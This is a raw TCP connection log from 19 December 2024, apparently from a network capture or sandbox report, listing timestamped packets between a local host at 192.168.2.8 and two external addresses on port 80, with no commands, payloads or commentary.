Dec 19, 2024 07:52:24.656974077 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.660551071 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.660625935 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.660659075 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.664419889 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.664491892 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.664513111 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.668210030 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.668292999 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.668319941 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.672034979 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.672148943 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.672171116 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.723692894 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.758656979 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.758728981 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.758810043 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.760448933 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.779400110 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.779414892 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.779578924 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.780797958 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.780857086 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.780910969 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.783823967 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.783838034 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.783884048 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.786674976 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.786782026 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.786803961 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.789479017 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.789566994 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.789589882 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.792340994 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.792411089 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.792503119 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.795098066 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.795175076 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.795197964 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.797760010 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.797862053 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.797863007 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.800398111 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.800527096 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.800532103 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.802985907 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.803056002 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.803106070 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.805630922 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.805706024 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.805721998 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.808291912 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.808372021 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.808381081 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.810863018 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.810956955 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.810980082 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.813520908 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.813575029 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.813621998 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.816153049 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.816224098 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.816303968 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.818741083 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.818814993 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.818844080 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.821419001 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.821547031 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.821559906 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.824016094 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.824121952 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.824208021 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.826659918 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.826740980 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.826872110 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.829390049 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.829451084 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.829472065 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.831835985 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.831967115 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.832034111 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.834477901 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.834562063 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.834582090 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.837102890 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.837239027 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.837239981 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.839713097 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.839812040 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.839814901 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.842335939 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.842449903 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.842510939 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.845082998 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.845159054 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.845238924 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.847574949 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.847651005 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.847719908 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.850198984 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.850269079 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.850327969 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.852816105 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.852937937 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.852938890 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.855462074 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.855556011 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.855601072 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.858107090 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.858143091 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.858211040 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.860788107 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.860884905 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.860925913 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.863280058 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.863403082 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.863406897 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.866053104 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.866087914 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.866117954 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.868573904 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.868648052 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.868654966 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.871134043 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.871189117 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.871237993 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.873719931 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.873821020 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.950788975 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.950844049 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.950953007 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.952049971 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.952138901 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.952250957 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.954606056 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.954713106 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.954814911 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.971580029 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.971647978 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.971740961 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.972609997 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.972729921 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.972806931 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.974771023 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.974891901 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.974997044 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.976958990 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.977215052 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.977288961 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.979044914 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.979154110 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.979332924 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.981118917 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.981199980 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.981301069 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.983189106 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.983289003 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.983367920 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.985217094 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.985323906 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.985399961 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.987242937 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.987323046 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.987382889 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.989187002 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.989283085 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.989357948 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.991138935 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.991249084 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.991307974 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.993068933 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.993180037 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.993249893 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.995044947 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.995083094 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.995127916 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.996874094 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.996989965 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.997045040 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:24.998754025 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.998841047 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:24.998912096 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:25.000638008 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:25.000716925 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:25.000768900 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:25.002466917 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:25.002564907 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:25.002666950 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:25.004354954 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:25.004487991 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:25.004563093 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:25.006201982 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:25.006309032 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:25.006426096 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:25.008078098 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:25.008225918 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:25.008285046 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:25.010044098 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:25.010152102 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:25.010251045 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:25.011928082 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:25.011962891 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:25.012018919 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:25.013650894 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:25.013855934 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:25.013910055 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:25.015531063 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:25.015625000 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:25.015794992 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:25.017484903 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:25.017571926 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:25.017699003 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:25.019351006 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:25.019475937 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:25.019581079 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:25.021092892 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:25.021204948 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:25.021277905 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:25.022944927 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:25.023060083 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:25.023122072 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:25.024812937 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:25.024991989 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:25.025194883 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:25.026663065 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:25.026757002 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:25.026810884 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:25.028567076 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:25.028618097 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:25.028762102 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:25.030390978 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:25.030493021 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:25.030538082 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:25.032234907 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:25.032341957 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:25.032402039 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:25.034136057 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:25.034266949 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:25.034342051 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:25.036058903 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:25.036111116 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:25.036214113 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:25.037782907 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:25.037878036 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:25.037981033 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:25.039824963 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:25.039880991 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:25.039954901 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:25.041573048 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:25.041675091 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:25.041785955 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:25.043376923 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:25.043508053 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:25.043591022 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:25.045281887 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:25.045332909 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:25.045394897 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:25.047065020 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:25.047197104 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:25.047334909 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:25.048952103 CET	80	49706	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:25.098742962 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:25.315083027 CET	49706	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:49.262785912 CET	49711	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:49.382452011 CET	80	49711	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:49.385200024 CET	49711	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:49.390074968 CET	49711	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:49.390074968 CET	49711	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:49.509625912 CET	80	49711	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:49.509637117 CET	80	49711	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:50.769890070 CET	80	49711	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:50.817415953 CET	49711	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:50.939450979 CET	49712	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:51.058917999 CET	80	49712	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:51.061435938 CET	49712	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:51.061706066 CET	49712	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:51.061706066 CET	49712	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:51.181216002 CET	80	49712	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:51.181299925 CET	80	49712	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:52.585639000 CET	80	49712	94.156.177.51	192.168.2.8
Dec 19, 2024 07:52:52.629853964 CET	49712	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:52:52.730038881 CET	49713	80	192.168.2.8	109.70.26.37
Dec 19, 2024 07:52:52.849633932 CET	80	49713	109.70.26.37	192.168.2.8
Dec 19, 2024 07:52:52.849761963 CET	49713	80	192.168.2.8	109.70.26.37
Dec 19, 2024 07:52:52.849927902 CET	49713	80	192.168.2.8	109.70.26.37
Dec 19, 2024 07:52:52.849965096 CET	49713	80	192.168.2.8	109.70.26.37
Dec 19, 2024 07:52:52.969374895 CET	80	49713	109.70.26.37	192.168.2.8
Dec 19, 2024 07:52:52.969623089 CET	80	49713	109.70.26.37	192.168.2.8
Dec 19, 2024 07:53:14.751261950 CET	80	49713	109.70.26.37	192.168.2.8
Dec 19, 2024 07:53:14.751358032 CET	49713	80	192.168.2.8	109.70.26.37
Dec 19, 2024 07:53:14.751430035 CET	49713	80	192.168.2.8	109.70.26.37
Dec 19, 2024 07:53:14.870901108 CET	80	49713	109.70.26.37	192.168.2.8
Dec 19, 2024 07:54:01.645839930 CET	49711	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:54:01.645931959 CET	49712	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:54:01.765800953 CET	80	49711	94.156.177.51	192.168.2.8
Dec 19, 2024 07:54:01.765872002 CET	49711	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:54:01.766261101 CET	80	49712	94.156.177.51	192.168.2.8
Dec 19, 2024 07:54:01.766343117 CET	49712	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:54:19.986960888 CET	49819	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:54:20.106800079 CET	80	49819	94.156.177.51	192.168.2.8
Dec 19, 2024 07:54:20.106887102 CET	49819	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:54:20.107023001 CET	49819	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:54:20.107040882 CET	49819	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:54:20.226538897 CET	80	49819	94.156.177.51	192.168.2.8
Dec 19, 2024 07:54:20.226587057 CET	80	49819	94.156.177.51	192.168.2.8
Dec 19, 2024 07:54:21.486141920 CET	80	49819	94.156.177.51	192.168.2.8
Dec 19, 2024 07:54:21.491576910 CET	49825	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:54:21.611479044 CET	80	49825	94.156.177.51	192.168.2.8
Dec 19, 2024 07:54:21.611583948 CET	49825	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:54:21.611717939 CET	49825	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:54:21.611737013 CET	49825	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:54:21.614260912 CET	49819	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:54:21.731302023 CET	80	49825	94.156.177.51	192.168.2.8
Dec 19, 2024 07:54:21.731327057 CET	80	49825	94.156.177.51	192.168.2.8
Dec 19, 2024 07:54:22.981556892 CET	80	49825	94.156.177.51	192.168.2.8
Dec 19, 2024 07:54:23.185314894 CET	49826	80	192.168.2.8	109.70.26.37
Dec 19, 2024 07:54:23.208125114 CET	49825	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:54:23.305015087 CET	80	49826	109.70.26.37	192.168.2.8
Dec 19, 2024 07:54:23.305094957 CET	49826	80	192.168.2.8	109.70.26.37
Dec 19, 2024 07:54:23.305304050 CET	49826	80	192.168.2.8	109.70.26.37
Dec 19, 2024 07:54:23.305330038 CET	49826	80	192.168.2.8	109.70.26.37
Dec 19, 2024 07:54:23.424854040 CET	80	49826	109.70.26.37	192.168.2.8
Dec 19, 2024 07:54:23.424871922 CET	80	49826	109.70.26.37	192.168.2.8
Dec 19, 2024 07:54:24.645281076 CET	80	49826	109.70.26.37	192.168.2.8
Dec 19, 2024 07:54:24.692617893 CET	49826	80	192.168.2.8	109.70.26.37
Dec 19, 2024 07:54:25.031029940 CET	49819	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:54:25.031727076 CET	49832	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:54:25.151218891 CET	80	49819	94.156.177.51	192.168.2.8
Dec 19, 2024 07:54:25.151297092 CET	80	49832	94.156.177.51	192.168.2.8
Dec 19, 2024 07:54:25.151372910 CET	49819	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:54:25.151444912 CET	49832	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:54:25.151771069 CET	49832	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:54:25.151771069 CET	49832	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:54:25.271356106 CET	80	49832	94.156.177.51	192.168.2.8
Dec 19, 2024 07:54:25.271375895 CET	80	49832	94.156.177.51	192.168.2.8
Dec 19, 2024 07:54:26.507935047 CET	80	49832	94.156.177.51	192.168.2.8
Dec 19, 2024 07:54:26.515283108 CET	49825	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:54:26.515908957 CET	49838	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:54:26.614279032 CET	49832	80	192.168.2.8	94.156.177.51
Dec 19, 2024 07:54:26.635296106 CET	80	49825	94.156.177.51	192.168.2.8
